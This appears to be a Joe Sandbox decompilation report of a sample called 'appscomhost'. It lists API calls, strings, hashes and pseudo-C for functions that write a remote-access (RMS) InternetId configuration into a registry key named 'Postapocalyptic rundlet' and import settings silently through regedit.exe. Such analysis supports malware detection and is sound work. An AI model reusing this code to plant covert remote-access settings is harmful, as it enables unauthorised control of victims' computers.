0x004064fe
0x00406503
0x00406507
0x0040650a
0x0040662a
0x0040662e
0x00406661
0x00406665
0x0040666a
0x0040666f
0x0040666f
0x00406674
0x00406675
0x0040667a
0x0040667d
0x00406680
0x00000000
0x00406680
0x00406630
0x00406633
0x00406636
0x0040664b
0x00406652
0x00406638
0x0040663f
0x0040663f
0x0040665a
0x0040665d
0x00406622
0x00406623
0x00406623
0x00000000
0x0040665d
0x00406510
0x00406518
0x0040651a
0x0040651b
0x00406534
0x00406534
0x0040653b
0x0040653b
0x00406542
0x00406546
0x00406546
0x00406547
0x00406549
0x00406584
0x00406587
0x00406597
0x0040659a
0x004065a2
0x004065a8
0x004065a8
0x00406605
0x00406605
0x00406607
0x00000000
0x00000000
0x004065ac
0x004065b3
0x004065b4
0x004065b6
0x004065d0
0x004065de
0x004065e4
0x004065e6
0x00406601
0x00406601
0x00406601
0x00000000
0x00406601
0x004065ec
0x004065f7
0x004065fd
0x004065ff
0x00000000
0x00000000
0x00000000
0x004065ff
0x004065b8
0x004065bb
0x00000000
0x00000000
0x004065ca
0x004065cc
0x004065ce
0x00000000
0x00000000
0x00000000
0x004065ce
0x00000000
0x00406605
0x0040658f
0x00000000
0x0040654b
0x00406569
0x0040656e
0x00406572
0x00406612
0x00406612
0x00406615
0x0040661d
0x0040661d
0x00000000
0x00406615
0x0040657a
0x00406609
0x00406609
0x0040660d
0x00000000
0x00000000
0x0040660f
0x00000000
0x0040660f
0x00406549
0x0040651d
0x00406522
0x00000000
0x00000000
0x00406524
0x00406527
0x00000000
0x00000000
0x00406529
0x0040652c
0x00000000
0x0040652e
0x0040652e
0x00000000
0x0040652e
0x0040652c
0x004066a6
0x004066b1
0x004066bd
0x004066bd
0x00000000

APIs

GetSystemDirectoryW.KERNEL32(5000,00002000), ref: 0040658F
GetWindowsDirectoryW.KERNEL32(5000,00002000,00000000,00448248,?,004054B0,00448248,00000000), ref: 004065A2
SHGetSpecialFolderLocation.SHELL32(004054B0,004130AD,00000000,00448248,?,004054B0,00448248,00000000), ref: 004065DE
SHGetPathFromIDListW.SHELL32(004130AD,5000), ref: 004065EC
CoTaskMemFree.OLE32(004130AD), ref: 004065F7
lstrcatW.KERNEL32(5000,\Microsoft\Internet Explorer\Quick Launch), ref: 0040661D
lstrlenW.KERNEL32(5000,00000000,00448248,?,004054B0,00448248,00000000), ref: 00406675

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040655F
5000, xrefs: 00406478, 00406553, 0040655A, 0040655E, 00406578, 00406579, 0040658E, 004065A1, 004065BD, 004065E8, 0040661C, 00406622, 0040663E, 00406651, 0040666E, 00406674, 00406680, 004066B3
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406617

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: 5000$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-1398614889
Opcode ID: 3886a814afb4634b797ed010d15ff7398dfd27384adf75e2a8c35440cb7e5406
Instruction ID: b22dedc222c9ab4ec122cbfa3db90ddae8e090de20614ae18b9dd6e9e31d4e99
Opcode Fuzzy Hash: 3886a814afb4634b797ed010d15ff7398dfd27384adf75e2a8c35440cb7e5406
Instruction Fuzzy Hash: D06126B1A00111AADF208F54DD40BBE37A5AF44314F12853FE947B62D0EB3E49A1CB5E

Uniqueness

Uniqueness Score: -1.00%

Function 1000347F, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 105
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E1000347F(void* __ebx, void* __edi, void* _a4, short* _a8, int* _a12, int* _a16, char* _a20, int* _a24) {
				int _v8;
				int _v12;
				char* _v16;
				long _v20;
				intOrPtr _t41;
				char* _t46;
				long _t47;
				intOrPtr* _t50;
				void* _t61;
				unsigned int* _t62;
				void* _t69;
				void* _t70;

				_t69 = __edi;
				_t61 = __ebx;
				_t41 =  *0x10007000; // 0x0
				if(_t41 != 1) {
					if(_t41 != 0) {
						E100022B7();
						return 1;
					} else {
						return RegQueryValueExW(_a4, _a8, _a12, _a16, _a20, _a24);
					}
				} else {
					_t46 = E10002F8E(_a8);
					_v16 = _t46;
					_t47 = RegQueryValueExA(_a4, _t46, _a12,  &_v12, 0,  &_v8);
					_v20 = _t47;
					if(_t47 == 0) {
						if(_v12 == 1 || _v12 == 2 || _v12 == 7) {
							_push(_t61);
							_t62 = _a24;
							if(_a20 != 0) {
								_push(_t69);
								_t70 = GlobalAlloc(0x40, _v8);
								if(_t70 != 0) {
									_v20 = RegQueryValueExA(_a4, _v16, _a12, _a16, _t70,  &_v8);
									_v8 = E1000237C(_t70, _v8, _a20,  *_t62 >> 1);
									GlobalFree(_t70);
								}
							}
							_t50 = _a16;
							if(_t50 != 0) {
								 *_t50 = _v12;
							}
							if(_t62 != 0) {
								 *_t62 = _v8 + _v8;
							}
						} else {
							_v20 = RegQueryValueExA(_a4, _v16, _a12, _a16, _a20, _a24);
						}
					}
					E10002335(_v16);
					return _v20;
				}
			}

0x1000347f
0x1000347f
0x10003485
0x1000348d
0x10003569
0x10003585
0x1000358e
0x1000356b
0x10003584
0x10003584
0x10003493
0x10003497
0x100034b0
0x100034b7
0x100034bb
0x100034be
0x100034c8
0x100034f3
0x100034f4
0x100034f7
0x100034f9
0x10003505
0x10003509
0x1000351e
0x10003536
0x10003539
0x10003539
0x1000353f
0x10003540
0x10003545
0x1000354a
0x1000354a
0x1000354e
0x10003555
0x10003555
0x100034d6
0x100034ea
0x100034ea
0x100034c8
0x1000355b
0x10003566
0x10003566

APIs

RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,00000000,00010000,<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p,00000000,?,<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p,00010000), ref: 100034B7
RegQueryValueExA.ADVAPI32(00000007,?,?,?,?,?), ref: 100034E8
GlobalAlloc.KERNEL32(00000040,?,InternetId,00000000), ref: 100034FF
RegQueryValueExA.ADVAPI32(00000001,?,?,?,00000000,?), ref: 1000351C
GlobalFree.KERNEL32 ref: 10003539
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?,00000000,?,<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p,00010000), ref: 1000357D

Strings

InternetId, xrefs: 100034F9
<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p, xrefs: 10003493

Memory Dump Source

Source File: 00000005.00000002.288908428.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.288900657.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288917465.0000000010006000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288924332.0000000010007000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288932582.0000000010027000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288940667.0000000010047000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288949750.0000000010058000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_appscomhost.jbxd

Similarity

API ID: QueryValue$Global$AllocFree
String ID: <?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p$InternetId
API String ID: 1034700490-2972743254
Opcode ID: 667577040a506b28336520f71bc1f51e19cf36d0fad04b464ea628e513f7ecfe
Instruction ID: 81d722525f6eb703a7675ca5f3ce6bcf65688ca7e786388ace9c35b78997f692
Opcode Fuzzy Hash: 667577040a506b28336520f71bc1f51e19cf36d0fad04b464ea628e513f7ecfe
Instruction Fuzzy Hash: 0D31187290014AFFEF02CF94CC41AEF7BBAFF08284F108059FA15A6124D732AA60DB50

Uniqueness

Uniqueness Score: -1.00%

Function 100049D6, Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 123
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E100049D6(void* __ecx, void* __eflags, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				signed int _v8;
				void* _v12;
				signed int _v16;
				char _v20;
				void* _v24;
				char _v28;
				char _v32;
				void* __ebx;
				void* __edi;
				char* _t44;
				signed int _t48;
				signed int _t56;
				void* _t75;

				_t75 = __eflags;
				_t61 = __ecx;
				E10002CF0(__ecx, _a8, _a12, _a16, _a20);
				_v8 = _v8 & 0x00000000;
				_v16 = _v16 & 0x00000000;
				_v20 = 0x10000;
				 *0x100477a0 = 0;
				E10002B98(0x10007500, 0x400);
				E10002B98(L"InternetId", 0x400);
				E10002B98(0x10027780, 0x400);
				E10002B98("REG_BINARY", 0x400);
				E100023B4(0x10027780, _t75, 0x10007500,  &_v8, 0, 0x10007500);
				E100023B4(0x10027780, _t75, 0x10027780,  &_v16, 0, 0x10027780);
				if(E100038AD(_v8, 0x10007500, 0, 3,  &_v12) != 0) {
					L7:
					_t44 = L"-1";
					L8:
					return E10002C7B(_t44);
				}
				_t48 = E1000347F(0x10027780, 0, _v12, L"InternetId", 0,  &_v28, 0x100477a0,  &_v20);
				_v8 = _t48;
				if(_t48 == 0) {
					_t56 = E10003393(_v16, 0x10027780, 0, 0, 0,  *( *((intOrPtr*)( *0x100577a0)) + 0x30) | 0x000f003f, 0,  &_v24,  &_v32);
					_v8 = _t56;
					if(_t56 == 0) {
						_v8 = E1000358F(_t61, 0, _v24, "REG_BINARY", 0, _v28, 0x100477a0, _v20);
						RegCloseKey(_v24);
						if( *0x10007020 == 1 && _v8 == 0) {
							_v8 = E10003656(_v12, L"InternetId");
						}
					}
				}
				RegCloseKey(_v12);
				_t44 = "0";
				if(_v8 == 0) {
					goto L8;
				}
				goto L7;
			}

0x100049d6
0x100049d6
0x100049eb
0x100049f0
0x100049f4
0x10004a04
0x10004a0b
0x10004a12
0x10004a1d
0x10004a29
0x10004a34
0x10004a42
0x10004a51
0x10004a6b
0x10004b1d
0x10004b1d
0x10004b22
0x10004b2d
0x10004b2d
0x10004a88
0x10004a92
0x10004a95
0x10004ab7
0x10004ac1
0x10004ac4
0x10004ae1
0x10004ae4
0x10004af1
0x10004b07
0x10004b07
0x10004af1
0x10004ac4
0x10004b0d
0x10004b16
0x10004b1b
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 10002B98: GlobalFree.KERNELBASE(00000400), ref: 10002BF8

Part of subcall function 10002B98: MultiByteToWideChar.KERNEL32(00000000,00000000,00000404,000000FF,?,?,?,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000400,10003008,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,00000400,?,?,?,?), ref: 10002BDA

Part of subcall function 1000347F: RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,00000000,00010000,<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p,00000000,?,<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p,00010000), ref: 100034B7
Part of subcall function 1000347F: RegQueryValueExA.ADVAPI32(00000007,?,?,?,?,?), ref: 100034E8

RegCloseKey.ADVAPI32(?), ref: 10004B0D

Part of subcall function 10003393: RegCreateKeyExA.ADVAPI32(00000000,00000000,?,00000000,00000000,00000000,?,00000000,10004440,00000000,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters,?,10004440,00000000,SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters), ref: 100033D0

Part of subcall function 1000358F: RegSetValueExA.ADVAPI32(?,00000000,00000000,?,00000000,00000000,<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076,?,?,?,10004574,00000000,InternetId,00000000,00000000), ref: 100035D4

RegCloseKey.ADVAPI32(?), ref: 10004AE4

Part of subcall function 10003656: RegDeleteValueA.ADVAPI32(?,00000000,InternetId,SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters,100049B0,00000000,InternetId), ref: 10003673

Strings

InternetId, xrefs: 10004A18, 10004A80, 10004AF8
SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters, xrefs: 100049FE, 10004A03, 10004A39, 10004A41, 10004A5D
3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076, xrefs: 10004A23, 10004A28, 10004A4A, 10004A50, 10004AB3
<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p, xrefs: 10004A0B, 10004A75, 10004A7A, 10004AC9
REG_BINARY, xrefs: 10004A2F, 10004ACE

Memory Dump Source

Source File: 00000005.00000002.288908428.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.288900657.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288917465.0000000010006000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288924332.0000000010007000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288932582.0000000010027000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288940667.0000000010047000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288949750.0000000010058000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_appscomhost.jbxd

Similarity

API ID: Value$CloseQuery$ByteCharCreateDeleteFreeGlobalMultiWide
String ID: 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076$<?xml version="1.0" encoding="UTF-8"?><rms_internet_id_settings version="69110"><internet_id>874-191-958-793</internet_id><use_inet_connection>true</use_inet_connection><inet_server></inet_server><use_custom_inet_server>false</use_custom_inet_server><inet_id_p$InternetId$REG_BINARY$SOFTWARE\Postapocalyptic rundlet\Host\Host\Parameters
API String ID: 2191732953-1877468502
Opcode ID: 2d3ecf0606e19f9c1e515d0e943caa0643c80a2b645bd50e494cfb16f31f9574
Instruction ID: 0d4dd0ca8cb0c1e017bd2fba6f78559ea720b6b1b0474100f72e102edfb4d539
Opcode Fuzzy Hash: 2d3ecf0606e19f9c1e515d0e943caa0643c80a2b645bd50e494cfb16f31f9574
Instruction Fuzzy Hash: F2416DB6C00209BAFB11DB95CC45EDF7BBDEF59381F104065F608A211AD735AA40DB64

Uniqueness

Uniqueness Score: -1.00%

Function 100037B1, Relevance: 12.1, APIs: 2, Strings: 6, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E100037B1(void* __ecx, void* __eflags, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				void* _v16;
				int _v20;
				void _v84;
				char _v88;
				void* __edi;
				signed int _t30;
				char* _t36;
				void* _t45;

				_t45 = __eflags;
				E10002CF0(__ecx, _a8, _a12, _a16, _a20);
				_t30 = 0x10;
				_v88 = 0;
				memset( &_v84, 0, _t30 << 2);
				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t36 = L"InternetId";
				E10002B98(_t36, 0x400);
				if(E1000337E(_t45, _t36) == 0 || E100031B1(_t36, 0, L"regedit.exe", 0, 0x10000, 0x10007760, 0) == 0) {
					L4:
					_push(L"-1");
				} else {
					_push(_t36);
					E10001EAF(0x10027780, L"%s /s \"%s\"", 0x10007760);
					_v88 = 0x44;
					if(E10003292(0, 0x10027780, 0, 0, 0, 0, 0, 0,  &_v88,  &_v20) == 0) {
						goto L4;
					} else {
						CloseHandle(_v20);
						CloseHandle(_v16);
						_push("0");
					}
				}
				return E10002C7B();
			}

0x100037b1
0x100037c6
0x100037d1
0x100037d2
0x100037d8
0x100037da
0x100037e0
0x100037e1
0x100037e2
0x100037e8
0x100037ee
0x100037fe
0x1000386b
0x1000386b
0x1000381f
0x1000381f
0x1000382c
0x10003841
0x10003852
0x00000000
0x10003854
0x1000385d
0x10003862
0x10003864
0x10003864
0x10003852
0x1000387a

APIs

Part of subcall function 10002B98: GlobalFree.KERNELBASE(00000400), ref: 10002BF8

Part of subcall function 100031B1: SearchPathA.KERNEL32(00000000,00000000,00000000,00000104,?,00010000,?,00000000,REG_BINARY), ref: 10003202

Part of subcall function 10003292: CreateProcessA.KERNEL32(?,?,?,?,?,00000000,00000000,?,?,00000000,?,?,?,?,?,3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076), ref: 10003315

CloseHandle.KERNEL32(?), ref: 1000385D
CloseHandle.KERNEL32(?), ref: 10003862

Strings

regedit.exe, xrefs: 1000380D
%s /s "%s", xrefs: 10003821
InternetId, xrefs: 100037E8, 100037ED, 100037F3, 1000381F
D, xrefs: 10003841
3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076, xrefs: 10003826, 1000382B, 1000383F
REG_BINARY, xrefs: 10003801, 10003806, 10003820

Memory Dump Source

Source File: 00000005.00000002.288908428.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.288900657.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288917465.0000000010006000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.288924332.0000000010007000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288932582.0000000010027000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288940667.0000000010047000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.288949750.0000000010058000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_appscomhost.jbxd

Similarity

API ID: CloseHandle$CreateFreeGlobalPathProcessSearch
String ID: %s /s "%s"$3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c726d735f696e7465726e65745f69645f73657474696e67732076$D$InternetId$REG_BINARY$regedit.exe
API String ID: 662912923-3841540349
Opcode ID: a2c97a24effc0470d4fc4938de51915cf1c4d037391489e4e230d632c5e633a6
Instruction ID: 0d107260ace9053c6934716935416cbdb4bcb4d79190a87c11232889ff830a0d
Opcode Fuzzy Hash: a2c97a24effc0470d4fc4938de51915cf1c4d037391489e4e230d632c5e633a6
Instruction Fuzzy Hash: 761103728002187AFB02DB968C46EDF7B7EEF457C0F108025FA04B2019DB35A91186A5

Uniqueness

Uniqueness Score: -1.00%

Function 004043CE, Relevance: 12.1, APIs: 8, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004043CE(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t39;
				long _t41;
				void* _t44;
				signed char _t50;
				long* _t54;

				if(_a4 + 0xfffffecd > 5) {
					L18:
					return 0;
				}
				_t54 = GetWindowLongW(_a12, 0xffffffeb);
				if(_t54 == 0 || _t54[2] > 1 || _t54[4] > 2) {
					goto L18;
				} else {
					_t50 = _t54[5];
					if((_t50 & 0xffffffe0) != 0) {
						goto L18;
					}
					_t39 =  *_t54;
					if((_t50 & 0x00000002) != 0) {
						_t39 = GetSysColor(_t39);
					}
					if((_t54[5] & 0x00000001) != 0) {
						SetTextColor(_a8, _t39);
					}
					SetBkMode(_a8, _t54[4]);
					_t41 = _t54[1];
					_v16.lbColor = _t41;
					if((_t54[5] & 0x00000008) != 0) {
						_t41 = GetSysColor(_t41);
						_v16.lbColor = _t41;
					}
					if((_t54[5] & 0x00000004) != 0) {
						SetBkColor(_a8, _t41);
					}
					if((_t54[5] & 0x00000010) != 0) {
						_v16.lbStyle = _t54[2];
						_t44 = _t54[3];
						if(_t44 != 0) {
							DeleteObject(_t44);
						}
						_t54[3] = CreateBrushIndirect( &_v16);
					}
					return _t54[3];
				}
			}

0x004043e0
0x00404496
0x00000000
0x00404496
0x004043f1
0x004043f5
0x00000000
0x0040440f
0x0040440f
0x00404418
0x00000000
0x00000000
0x0040441a
0x00404426
0x00404429
0x00404429
0x0040442f
0x00404435
0x00404435
0x00404441
0x00404447
0x0040444e
0x00404451
0x00404454
0x00404456
0x00404456
0x0040445e
0x00404464
0x00404464
0x0040446e
0x00404473
0x00404476
0x0040447b
0x0040447e
0x0040447e
0x0040448e
0x0040448e
0x00000000
0x00404491

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043EB
GetSysColor.USER32(00000000), ref: 00404429
SetTextColor.GDI32(?,00000000), ref: 00404435
SetBkMode.GDI32(?,?), ref: 00404441
GetSysColor.USER32(?), ref: 00404454
SetBkColor.GDI32(?,?), ref: 00404464
DeleteObject.GDI32(?), ref: 0040447E
CreateBrushIndirect.GDI32(?), ref: 00404488

Memory Dump Source

Source File: 00000005.00000002.284858418.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.284853795.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284864724.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.284875976.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284881352.0000000000412000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284886270.000000000041E000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284911078.0000000000469000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284916897.000000000047C000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284921285.0000000000484000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284928935.00000000004FC000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.284942608.00000000005FC000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_appscomhost.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 288dbcc7c85f11a55b3e08142a2a7aff64d3670202badf385cb57de10b60d8c1
Instruction ID: dd0feedb065fecc26b382c70af4fe1a3d395924493241b124500faa7aa9dc668
Opcode Fuzzy Hash: 288dbcc7c85f11a55b3e08142a2a7aff64d3670202badf385cb57de10b60d8c1
Instruction Fuzzy Hash: 7C2174B15007059BCB30DF78DA08B5BBBF8AF81714B05892EE992B26E1D734E904DB58

Uniqueness

Uniqueness Score: -1.00%

Function 004026E4, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E004026E4(intOrPtr __ebx, intOrPtr __edx, void* __edi) {
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t72;
				void* _t76;
				void* _t79;

				_t72 = __edx;
				 *((intOrPtr*)(_t76 - 8)) = __ebx;
				_t65 = 2;
				 *((intOrPtr*)(_t76 - 0x4c)) = _t65;
				_t66 = E00402D1C(_t65);
				_t79 = _t66 - 1;
				 *((intOrPtr*)(_t76 - 0x10)) = _t72;
				 *((intOrPtr*)(_t76 - 0x44)) = _t66;
				if(_t79 < 0) {
					L36:
					 *0x47afa8 =  *0x47afa8 +  *(_t76 - 4);
				} else {
					__ecx = 0x1fff;
					if(__eax > 0x1fff) {
						 *(__ebp - 0x44) = 0x1fff;
					}
					if( *__edi == __bx) {
						L34:
						__ecx =  *(__ebp - 0xc);
						__eax =  *(__ebp - 8);
						 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __bx;
						if(_t79 == 0) {
							 *(_t76 - 4) = 1;
						}
						goto L36;
					} else {
						 *(__ebp - 0x38) = __ebx;
						 *(__ebp - 0x18) = E00406371(__ecx, __edi);
						if( *(__ebp - 0x44) > __ebx) {
							do {
								if( *((intOrPtr*)(__ebp - 0x34)) != 0x39) {
									if( *((intOrPtr*)(__ebp - 0x24)) != __ebx ||  *(__ebp - 8) != __ebx || E00405FE8( *(__ebp - 0x18), __ebx) >= 0) {
										__eax = __ebp - 0x50;
										if(E00405F8A( *(__ebp - 0x18), __ebp - 0x50, 2) == 0) {
											goto L34;
										} else {
											goto L21;
										}
									} else {
										goto L34;
									}
								} else {
									__eax = __ebp - 0x40;
									_push(__ebx);
									_push(__ebp - 0x40);
									__eax = 2;
									__ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)) = __ebp + 0xa;
									__eax = ReadFile( *(__ebp - 0x18), __ebp + 0xa, __ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)), ??, ??);
									if(__eax == 0) {
										goto L34;
									} else {
										__ecx =  *(__ebp - 0x40);
										if(__ecx == __ebx) {
											goto L34;
										} else {
											__ax =  *(__ebp + 0xa) & 0x000000ff;
											 *(__ebp - 0x4c) = __ecx;
											 *(__ebp - 0x50) = __eax;
											if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
												L28:
												__ax & 0x0000ffff = E00406358( *(__ebp - 0xc), __ax & 0x0000ffff);
											} else {
												__ebp - 0x50 = __ebp + 0xa;
												if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa, __ecx, __ebp - 0x50, 1) != 0) {
													L21:
													__eax =  *(__ebp - 0x50);
												} else {
													__edi =  *(__ebp - 0x4c);
													__edi =  ~( *(__ebp - 0x4c));
													while(1) {
														_t22 = __ebp - 0x40;
														 *_t22 =  *(__ebp - 0x40) - 1;
														__eax = 0xfffd;
														 *(__ebp - 0x50) = 0xfffd;
														if( *_t22 == 0) {
															goto L22;
														}
														 *(__ebp - 0x4c) =  *(__ebp - 0x4c) - 1;
														__edi = __edi + 1;
														SetFilePointer( *(__ebp - 0x18), __edi, __ebx, 1) = __ebp - 0x50;
														__eax = __ebp + 0xa;
														if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa,  *(__ebp - 0x40), __ebp - 0x50, 1) == 0) {
															continue;
														} else {
															goto L21;
														}
														goto L22;
													}
												}
												L22:
												if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
													goto L28;
												} else {
													if( *(__ebp - 0x38) == 0xd ||  *(__ebp - 0x38) == 0xa) {
														if( *(__ebp - 0x38) == __ax || __ax != 0xd && __ax != 0xa) {
															 *(__ebp - 0x4c) =  ~( *(__ebp - 0x4c));
															__eax = SetFilePointer( *(__ebp - 0x18),  ~( *(__ebp - 0x4c)), __ebx, 1);
														} else {
															__ecx =  *(__ebp - 0xc);
															__edx =  *(__ebp - 8);
															 *(__ebp - 8) =  *(__ebp - 8) + 1;
															 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														}
														goto L34;
													} else {
														__ecx =  *(__ebp - 0xc);
														__edx =  *(__ebp - 8);
														 *(__ebp - 8) =  *(__ebp - 8) + 1;
														 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														 *(__ebp - 0x38) = __eax;
														if(__ax == __bx) {
															goto L34;
														} else {
															goto L26;
														}
													}
												}
											}
										}
									}
								}
								goto L37;
								L26:
								__eax =  *(__ebp - 8);
							} while ( *(__ebp - 8) <  *(__ebp - 0x44));
						}
						goto L34;
					}
				}
				L37:
				return 0;
			}

0x004026e4
0x004026e6
0x004026e9
0x004026eb
0x004026ee
0x004026f3
0x004026f7
0x004026fa
0x004026fd
0x00402bc2
